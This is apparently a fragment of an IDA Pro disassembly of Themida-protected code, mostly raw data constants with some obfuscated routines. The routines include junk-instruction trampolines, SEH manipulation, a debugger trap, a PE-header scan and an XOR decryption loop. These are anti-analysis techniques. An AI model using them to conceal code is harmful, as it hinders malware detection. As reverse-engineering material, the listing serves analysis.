3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0AF37A0C3h, 94617F7Eh, 8BF08A8Ch dd 6A58FBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 5C1381C3h, 5809CDC8h, 5704DD27h, 5FD78B66h dd 1FB5B589h, 50900614h, 8B90D08Bh, 1424E1BDh, 2D8D3106h dd 6A061400h, 51006A1Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 1909CC8Eh, 2A21B589h, 66900614h dd 8A50CB8Bh, 6A90D5h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0B2779EC3h, 0BE9h, 6687C800h, 1CA3A928h dd 0EBD82410h, 13E860h, 20D00000h, 206EA06Eh, 87E5475Ch dd 0C7A55F7Dh, 0A1622F02h, 5EF78B8Ah, 16830Fh, 11E90000h dd 0AE000000h, 78850523h, 814748FFh, 19DF63C1h, 0A5D95120h dd 0FE95FF61h, 8B06181Bh, 1401CD8Dh, 0E9D88B06h, 13h, 49857C21h dd 836471F9h, 0DA69185Ch, 0F7D619DDh, 58FC2DCBh, 840FDB0Bh dd 11h, 16F59529h, 0D9E90614h, 8B000001h, 1426118Dh, 880F5006h dd 14h, 6E85250h, 0C000000h, 7F4C0E01h, 310F592Fh, 585A5F51h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D34CC355h, 1394AE27h, 0BE8E1h dd 1CD90000h, 88906766h, 0E6D6D686h, 959F9FFh, 14055985h dd 0DEB5FF06h, 6A06181Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 8B51C351h, 0BC39A48Eh dd 0F1FA045h, 883h, 0B70F6000h, 0F18B66D0h, 0E295FF61h dd 6A06181Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0FC9DC356h, 850FC00Bh, 0ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h, 6612F17Dh dd 613CB0BFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 84C35040h, 3E5E600Fh, 820FCC20h, 4, 3C6EBF66h dd 1BE685C7h, 10618h, 9D890000h, 6142171h, 0B3E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0D01A9835h, 0AE960ECh, 0B4000000h, 9326F904h, 8E212089h dd 0D08A60E2h, 0EE9h, 86483800h, 0AB2CEE96h, 0E19131D4h dd 61DB17C0h, 9E96161h, 73000000h, 19E1089Ah, 295776C2h dd 2F318D29h, 0C6810614h, 11Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 42C35040h, 8D8985BDh, 61415A5h dd 0FFF861E9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0B44C9D8Eh, 8B8B30FDh dd 0CBBF0FD7h, 0D6DA9168h, 81CB8B7Ch, 5A912434h, 0E2807CD6h dd 0C99589A2h, 6A061414h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 35958B84h dd 0FF06142Dh, 181BEEB5h, 0D6B70F06h, 6CD95FFh, 958B0614h dd 6140045h, 1BE6858Bh, 8A0F0618h, 1, 0BF5090F9h, 185CFDABh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0B955F672h, 0DEBF66DCh, 0F6858D74h, 6A06181Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0EC10C353h, 75F39Fh, 0E94038A1h, 0Dh, 0A72B5B7Ah dd 39391B67h, 0F3F9ABBFh, 0BA6690AFh, 565032B4h, 0C36AB966h dd 0FA8B905Fh, 8DCB8B66h, 181BB385h, 10E906h, 0BBEF0000h dd 0DE5E8023h, 484709E2h, 0D4A6D23Fh, 609023C2h, 7E8h dd 4D765800h, 2A41A9C6h, 8B0Fh, 0B85A0000h, 599E3AAFh dd 0D68B5061h, 0A6A8BF90h, 95FF5688h, 61431ADh, 0DE9h dd 69A9BE00h, 0DDD051F9h, 0B4C2F707h, 0C08B42DBh, 2FB98589h dd 0B70F0614h, 0B1BD83C8h, 61430h, 0BD830975h, 6141AE1h dd 50137400h, 0B8C08B53h, 4D0h, 0B5759D8Dh, 0D3FF0616h dd 0BD83585Bh, 6141AE1h, 50117400h, 4D0B853h, 9D8D0000h dd 616B474h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 13C35343h, 0EA76FF86h, 0F58A527Eh, 53006A5Fh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3268F8D6h, 1592ADE7h, 0D08B66D4h, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0AEC7B1C3h dd 71642F74h, 892E23E9h, 14294585h, 8B515806h, 1402D1BDh dd 8C25F06h, 55B53100h, 906142Ah, 1418E19Dh ; --------------------------------------------------------------------------- push es loc_58BA95: ; CODE XREF: Themida_:loc_58A7E1j mov eax, eax mov edx, [ebp+6142A91h] lea eax, [ebp+6181C0Dh] push 0 push ecx call sub_58BAAE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BAAE proc near ; CODE XREF: Themida_:0058BAA6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_58BAAE endp ; --------------------------------------------------------------------------- dw 6028h ; --------------------------------------------------------------------------- pusha push ecx pop edi mov edx, [ebp+6141BE1h] popa mov eax, [ebp+61409A9h] popa mov [ebp+6142C3Dh], eax mov edx, 0F00E1000h sub edx, 0F0000000h add edx, 14h mov [ebp+61431F5h], edx sub edx, 14h lea eax, [ebp+6182F9Eh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_58BB10: ; CODE XREF: Themida_:0058BB32j cmp word ptr [eax], 5A4Dh jnz loc_58BB2D movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_58BB37 loc_58BB2D: ; CODE XREF: Themida_:0058BB15j sub eax, 1000h jmp loc_58BB10 ; --------------------------------------------------------------------------- loc_58BB37: ; CODE XREF: Themida_:0058BB27j mov ecx, eax mov [ebp+61424F9h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+61418D1h], edx mov edx, [eax+50h] mov [ebp+61419A9h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+6142B21h], edx add edx, [eax+8] mov [ebp+6143149h], edx pop large dword ptr fs:0 add esp, 4 jmp loc_58BB90 ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_58BB90: ; CODE XREF: Themida_:0058BB78j cmp dword ptr [ebp+6142309h], 0 jz loc_58BBC1 mov byte ptr [ebp+6141A59h], 47h push 0D49AA7D2h push dword ptr [ebp+6141AD1h] lea eax, [ebp+61780DBh] call eax push 0 call eax mov [ebp+614057Dh], eax loc_58BBC1: ; CODE XREF: Themida_:0058BB97j mov edx, ebx call near ptr loc_58BBD3+1 or eax, [edi+539E3633h] enter 0FFFF816Ah, 0Eh int 3 ; Trap to Debugger loc_58BBD3: ; CODE XREF: Themida_:0058BBC3p mov [edi], ecx mov ebx, ds:60000000h adc cx, 53F8h jmp loc_58BBF6 ; --------------------------------------------------------------------------- db 1Dh, 31h, 78h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ECh, 0C8h, 0FDh dd 0FA50C17Ch, 0B5399FB2h db 0F7h, 60h ; --------------------------------------------------------------------------- loc_58BBF6: ; CODE XREF: Themida_:0058BBE0j popa pop edi jns loc_58BBFF cld loc_58BBFF: ; CODE XREF: Themida_:0058BBF8j add edi, 5A43h mov eax, ecx xor esi, esi mov dx, cx loc_58BC0C: ; CODE XREF: Themida_:0058BC77j mov ecx, [edi+esi] mov bx, 7F09h sub ecx, 0FCCC0A7h sub ax, 1177h xor ecx, 670B925Ch js $+6 xor ecx, 6F39D11Ch jmp loc_58BC49 ; --------------------------------------------------------------------------- db 6Fh, 1Eh, 0D4h ; --------------------------------------------------------------------------- cli db 2Eh add dl, al movsb retf ; --------------------------------------------------------------------------- dw 0C958h dd 0A51FA5A7h, 39F8BD87h db 0A8h ; --------------------------------------------------------------------------- loc_58BC49: ; CODE XREF: Themida_:0058BC30j push ecx sbb bh, 6Fh pop dword ptr [edi+esi] cld mov bh, ch sub esi, 64C24606h sub edx, 3350A689h add esi, 64C24602h jg loc_58BC71 pusha stc movzx ecx, bx popa loc_58BC71: ; CODE XREF: Themida_:0058BC65j cmp esi, 0FFFFA670h jnz loc_58BC0C mov edx, ecx pusha push 0 push eax call sub_58BC8B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BC8B proc near ; CODE XREF: Themida_:0058BC83p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_58BC8B endp ; --------------------------------------------------------------------------- db 91h dd 0E4A3713Eh, 8166F757h, 8BE413C9h, 1424BDB5h, 8BC08B06h dd 0B1BD83CEh, 61430h, 0BD830975h, 6141AE1h, 50197400h dd 0B8C08B53h, 438h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh dd 1AE1BD83h, 74000614h, 0B8535017h, 438h, 1A498589h, 9D8D0614h dd 616B429h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 34C35343h, 70A0900Fh, 0B5D6D79Fh, 0CE9FEh dd 0ED0F0000h, 9D5BB442h, 10D8237h, 8501F03Dh, 6142A55h dd 7AB9C08Bh, 0E82D1837h, 94Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 7FC35646h, 13C4339Dh, 0FE9h dd 712F2700h, 51AA1042h, 5DBE04A3h, 85127284h, 5918589h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0C89E1DC3h, 0EF76AACFh, 0DAB5FCDCh, 8E7E8h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0AD858966h, 6A061414h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E5AC353h dd 0E951F157h, 9, 8B1488DEh, 0FCE1F583h, 830F5F34h, 6 dd 369B58Bh, 85E80614h, 89000008h, 140B09BDh, 1858906h dd 6A061416h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0E230C353h, 0E85E189Bh, 854h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D9C35040h dd 7CA81148h, 14E9h, 0B761E000h, 3E5B3F87h, 89B2B49Bh dd 3419DBC1h, 536AE2D9h, 91858914h, 6A06142Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 78DEC353h, 0D68156EEh, 60649F2Bh, 0E8F78B5Fh, 7E8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A0C35040h dd 8A6CF761h, 0A58589E1h, 81061406h, 0AD78FD7h, 7B6E863h dd 0BD8B0000h, 61406B5h, 2E18589h, 8D8B0614h, 6141A41h dd 79FE8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0E2FB7992h, 4FD60C4h, 118E0Fh, 0E9510000h dd 0Ah, 629E3759h, 7FEBE63Ah, 0E959CE74h, 6, 7877B49Eh dd 858900A1h, 6140C4Dh, 1A219501h, 49E80614h, 6A000007h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0A0F4C357h, 5E0DE1B4h, 68C0F01h, 1000000h dd 1405C9BDh, 71858906h, 6A061410h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DECFC356h dd 6850FE1h, 3000000h, 142BD1BDh, 0D1BD3306h, 0E806140Ah dd 6E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 77C35343h, 0B9661F3Eh, 85891FE4h, 6140D49h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 31F31BD1h dd 0BD0BC476h, 6142A1Dh, 0CC88160h, 0B52D05FFh, 81E8614Bh dd 89000006h, 14231985h, 0FE8B6606h, 11E8h, 24C71700h dd 0C833C131h, 0D7605E4Ah, 490F63B1h, 8166E763h, 59EC6DD7h dd 657E8h, 69BD2900h, 2906141Ch, 1408E98Dh, 99858906h dd 6A061430h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0BEC2C357h, 0F99A6AF3h, 2952D6ECh dd 140F9D9Dh, 15E85906h, 6A000006h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3FB0C356h dd 9D29D28Ah, 6141C75h, 24058D31h, 85890614h, 6140669h dd 5DEE8F8h, 0CE810000h, 3A7A7C8Eh, 220D8589h, 6E90614h dd 0A3000000h, 0CE85EB34h, 0E8F38B56h, 5C0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 2AD04842h dd 8950A9C2h, 1423EDB5h, 9D895F06h, 61423E5h, 9E8h, 0DF5D5B00h dd 944FD093h, 0E9521542h, 10h, 0C1661E31h, 0C091AE9Ah dd 0D3C5A67h, 2479F50Bh, 85895E59h, 61400D5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 92C35545h, 260AC873h dd 53EE82Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 7902A1C3h, 7987210Bh, 2C958589h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 7EDC37C3h, 0DEEC218Eh, 8B952C20h, 142C918Dh dd 4E6E806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 8765EEC3h, 8D3591FDh, 89CE8F1Bh dd 14211185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 65273009h, 6A00B0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 2807B8C3h dd 5E9h, 3428AB00h, 0B60FF8DEh, 0FD9D89D8h, 0BA06141Ch dd 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 0D8C35242h, 955BAC05h, 0B3C2C4B4h, 0D459D89h, 0C38B0614h dd 6B5B58Bh, 0E8C10614h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 1F93698h, 1419818Dh, 0E2F76606h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8EC35040h dd 3363B50Dh, 0E5847EB2h, 2BBECD80h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0CA151033h dd 5650DBD7h, 2CF7CEB9h, 1C895E3Bh, 0F98B6624h, 2E4595FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 30007C3h, 12F53AEBh, 0EA8A811Eh, 963BEABEh dd 958D5B31h, 6142015h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 25C35242h, 0C27F094Ah, 0AE8h, 73B01300h dd 6B61CC66h, 0FF23982h, 688h, 840F00h, 5F000000h, 800F1A89h dd 0Bh, 58D0Fh, 81660000h, 893216F6h, 0B5BE0442h, 8D7D3628h dd 1414B595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 97565687h, 1261552Eh, 0F98D89D2h dd 89061429h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0A19A0288h, 4428992h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2CC35646h, 381060C1h dd 3092F649h, 0E1D958Dh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 57E4A3C3h, 4F1812F7h dd 292B98CCh, 140C3585h, 661A8906h, 4289FA8Bh, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 541F0E92h, 0F9B70F7Bh, 11718D8Bh, 958D0614h, 61408D5h dd 54D8589h, 1A890614h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 5FC35040h, 63E46FE5h, 8DC58050h, 6A044289h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0A603C353h dd 0E1F68BBh, 958DBE82h, 6142A29h, 1A89F78Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ACC35747h, 7E856h dd 63420000h, 32B99316h, 5FCB8B2Eh, 442895Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6CC35242h, 0A5E94ABh dd 958DA47Ch, 61406C1h, 10E8h, 6834E200h, 0C829CEEEh, 857B9010h dd 0D72ADFDEh, 1A8959BBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0EDC35040h, 8B2CF88Ah, 44289F3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9BC35343h, 3DDF672Bh dd 8BCFF00Eh, 142AF18Dh, 0B9958D06h, 8B06141Ah, 1411758Dh dd 798D8906h, 8906140Ah, 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 30BC6E84h, 0D8895B90h dd 0EE99156h, 0B4000000h, 0AC9ACFB8h, 9DB80286h, 39EC4A46h dd 44289B4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0FFC35747h, 0C43F2AF7h, 0BEF87AEFh, 13D8E05Dh dd 19F5958Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0BB0C03C3h, 8B6DC96Eh, 6A1A89CEh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 61EFC355h, 0D180B364h, 44289CCh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 79C35646h, 2FB6D54Ah dd 303E6E56h, 0D2E9F5C2h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6D59C353h dd 0C3C2D181h, 890F68B1h, 0Ch, 6820Fh, 85890000h, 614198Dh dd 8B51006Ah, 1412B1BDh, 6A5F06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0B4C35646h, 82379D5Bh, 0F03D010Dh dd 0C840Fh, 850F0000h, 6, 89BD8Bh, 6A0614h, 61BD8Bh, 6A0614h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7CC35242h dd 0C816B62Ah, 14E8h, 0BB0FE500h, 81227403h, 0A54F4796h dd 41C3D0F7h, 59BC8DBCh, 8B6660A8h, 61D98BDAh, 7595FF59h dd 0B061430h, 141C2DB5h, 8B66C306h, 6AC58AFEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8B87C356h, 140E898Dh, 91958906h, 8B061423h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0F9CCDEE0h, 0E9E03E1Eh, 0Bh, 8D48C532h, 0D0720270h dd 83A248F4h, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h dd 8B535019h, 438B8C0h, 85890000h, 61430C1h, 0B7A19D8Dh dd 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50177400h, 438B853h dd 85890000h, 61430C1h, 0B4429D8Dh, 0D3FF0616h, 6A585Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8926CDC3h, 1430918Dh, 0C8F0F06h, 0F000000h, 68Bh, 0B1850100h dd 89061429h, 140C7585h, 8DC08B06h, 140F9985h, 2D958906h dd 0E806141Ah, 0Ah dword_58C824 dd 4D47346Fh, 6772238Dh, 880F883Ch, 6, 21F99D8Bh, 505F0614h ; DATA XREF: Themida_:0054AED0o ; Themida_:0054BB24o dd 8B665250h, 0F310FDFh, 1986h, 13E800h, 9E2F0000h, 264AA02Ah dd 42B0BCEEh, 8CDCED19h, 76B29BECh, 585A5BC7h, 89240489h dd 1422F1BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 2681C355h, 0FEB16ABh dd 33006AE1h, 14166DBDh, 27858D06h, 6A06183Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 80FDC355h, 0F8FC05A8h, 0FC3AD4DEh, 8905C083h, 142F45BDh dd 11E95006h, 0F9000000h, 0EE2D55Eh, 9141DE2Fh, 40424191h dd 73F78E9Ch, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 2105C350h, 0BF9B9739h dd 8C0F9B5Dh, 12h, 6E8h db 0 ; --------------------------------------------------------------------------- loc_58C915: ; DATA XREF: Themida_:0054A2D4o sub ch, [ecx] or al, 0F9h fsubp st(3), st mov edi, [ebp+61422D5h] pop ebx pusha movsx ebx, bx mov ebx, 79ABF9ABh popa push 0 push 0 push edi call sub_58C939 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C939 proc near ; CODE XREF: Themida_:0058C931p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_58C939 endp ; --------------------------------------------------------------------------- shr dword ptr [edx+0], cl sub [ebp+61409D5h], ecx call dword ptr [ebp+6141A71h] push 0 push ebp call sub_58C963 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C963 proc near ; CODE XREF: Themida_:0058C95Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_58C963 endp ; --------------------------------------------------------------------------- mov bl, 0Ah mov edi, 68C512B2h jns short loc_58C9CD push eax movsx edi, di lea ecx, [ebp+617A8FCh] mov [ebp+61416F5h], ebx xor [ebp+6141C6Dh], eax call ecx push ebx mov edi, 4171E3h pop ebx cmp dword ptr [ebp+61412CDh], 1 jnz loc_58CA06 push 0 push edi call sub_58C9B3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C9B3 proc near ; CODE XREF: Themida_:0058C9ABp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_58C9B3 endp ; --------------------------------------------------------------------------- db 8Ch dd 0C887FA5Fh, 8B41550Eh ; --------------------------------------------------------------------------- popf loc_58C9CD: ; CODE XREF: Themida_:0058C97Aj fld qword ptr [edx] adc al, 6 push 2 mov ebx, 5131C9A7h nop mov di, 3995h push eax nop pusha mov eax, edi jmp loc_58C9F9 ; --------------------------------------------------------------------------- db 0C6h dd 61DBE919h, 3617418h, 7F5CF89Ah, 0EA28D1BFh db 0B0h ; --------------------------------------------------------------------------- loc_58C9F9: ; CODE XREF: Themida_:0058C9E2j popa call dword ptr [ebp+6140939h] mov [ebp+6142B69h], eax loc_58CA06: ; CODE XREF: Themida_:0058C9A2j jmp loc_58D7C8 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 6183E31h mov [ebp+6142B0Dh], esi lea eax, [ebp+6179623h] jmp loc_58CA33 ; --------------------------------------------------------------------------- dd 0D96E8B71h, 7176E494h db 6Bh, 0B2h, 26h ; --------------------------------------------------------------------------- loc_58CA33: ; CODE XREF: Themida_:0058CA23j push eax pusha mov di, 0D9BFh jmp loc_58CA4F ; --------------------------------------------------------------------------- dw 0DC1Bh dd 0BA7C4062h, 997DF1AEh, 9ABE0BE0h ; --------------------------------------------------------------------------- cmc jb short loc_58CA88 loc_58CA4F: ; CODE XREF: Themida_:0058CA39j popa mov [esp], eax push 0 push eax call sub_58CA5E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CA5E proc near ; CODE XREF: Themida_:0058CA56p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58CA5E endp ; --------------------------------------------------------------------------- dw 0F77h dd 1A83h, 0EE800h, 22A90000h, 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch ; --------------------------------------------------------------------------- loc_58CA88: ; CODE XREF: Themida_:0058CA4Dj mov edi, [ebp+6140791h] pop edi push large dword ptr fs:0 push 0 push edx call sub_58CAA1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CAA1 proc near ; CODE XREF: Themida_:0058CA99p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58CAA1 endp ; --------------------------------------------------------------------------- db 0A5h, 0E9h, 0DFh dd 6CAAAD4Fh, 0B3ACAECFh, 645B5703h, 2589h, 820F0000h dd 6, 77ADD781h, 85FF7D4Fh, 614236Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 83C35242h, 8B4A23A5h, 140ED1BDh dd 6AFF6A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 1EBBC357h, 0E29B3C48h, 91B5FF24h dd 0F061405h, 84h, 1995FF00h, 0E906142Bh, 0FEh, 1D89B531h dd 80510614h, 0B05F56CFh, 70E6F800h, 71E4DA8Bh, 0BD1BD33h dd 613C0614h, 0DC830Fh, 10BB0000h, 0F52D86Ch, 0B60FDBBFh dd 0B5BD8BC8h, 0BA061415h, 6, 0B18D89h, 0C18B0614h, 8B0Fh dd 0E8C10000h, 0C1BD8B04h, 6606142Eh, 0BD33E2F7h, 61424A1h dd 9D8BC82Bh, 6141BC1h, 9CDFEB81h, 0D18B30F1h, 4E9h, 94BF6600h dd 15858B3Ch, 8B061420h, 7C083DAh, 1AFDB589h, 95290614h dd 6142C51h, 3B00C083h, 11830FD0h, 0F000000h, 387h, 0DFBF0F00h dd 5DE9h, 0DBBF0F00h, 1AF98D8Bh, 0DF8B0614h, 0F01E183h dd 4984h, 7E800h, 0CC530000h, 4B967DDCh, 0A5835F4Dh, 6141AF9h dd 2820FFEh, 8B000000h, 159589D8h, 0E8061420h, 0Eh, 3660F7B5h dd 664B11BDh, 0F983054h, 85292734h, 614038Dh, 9D8B535Bh dd 6140CB5h, 0E95Fh, 0B58D0000h, 617C0E5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8AC35545h, 0BD8B701Fh dd 61424A5h, 95FF006Ah, 6141169h, 7E9h, 89E19800h, 0B471A916h dd 16A58531h, 97B90614h, 0E9000007h, 7, 0EFE4BBD2h, 8B609D1Ah dd 1434D19Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 8BC35747h, 710952Fh, 11CF7530h, 6CD78166h dd 6AFC59h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8B66CAC3h, 0B8F8h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 61C18FC3h dd 81660646h, 66B0E2DFh, 2B5088BFh, 8B6651D2h, 33AD5FF9h dd 3E8D1C2h, 4E983D0h, 8166F475h, 0D7297CBh, 88h, 8BFBB70Fh dd 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 54BEECFh, 0AA202C3Dh, 0B1BD0301h dd 6606141Dh, 0BAE9F781h, 64D8D8Bh, 6A0614h, 3E853h, 5B200000h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop ebx mov [esp+4], ebx add dword ptr [esp+4], 1Bh inc ebx push ebx retn ; --------------------------------------------------------------------------- db 0B0h, 0A1h, 48h dd 4F38E649h, 0E185896Ch, 0E9061414h, 8, 0F0C5EAD7h, 157A4A7Ch dd 8B50FB8Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 35C35545h dd 59662652h, 0FA9BD89h, 1EB70614h, 29ADBD83h, 0F000614h dd 6584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 18C5823Fh, 0B858h, 0BB660000h, 8D8DB5D1h dd 6144D79h, 2CF9BD0Bh, 0BD8B0614h, 61422DDh, 6AE1FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 2358D5C3h, 0AD0A090Fh, 0BF669237h, 0BD8364D8h, 6142671h dd 8A840F00h, 52000004h, 835BFA8Bh, 142671BDh, 840F0106h dd 494h, 7E8h, 0E733E600h, 0AB373C84h, 0C483E781h, 835B6DC9h dd 142671BDh, 860F0306h, 43Eh, 21158D89h, 6A600614h, 3E85100h dd 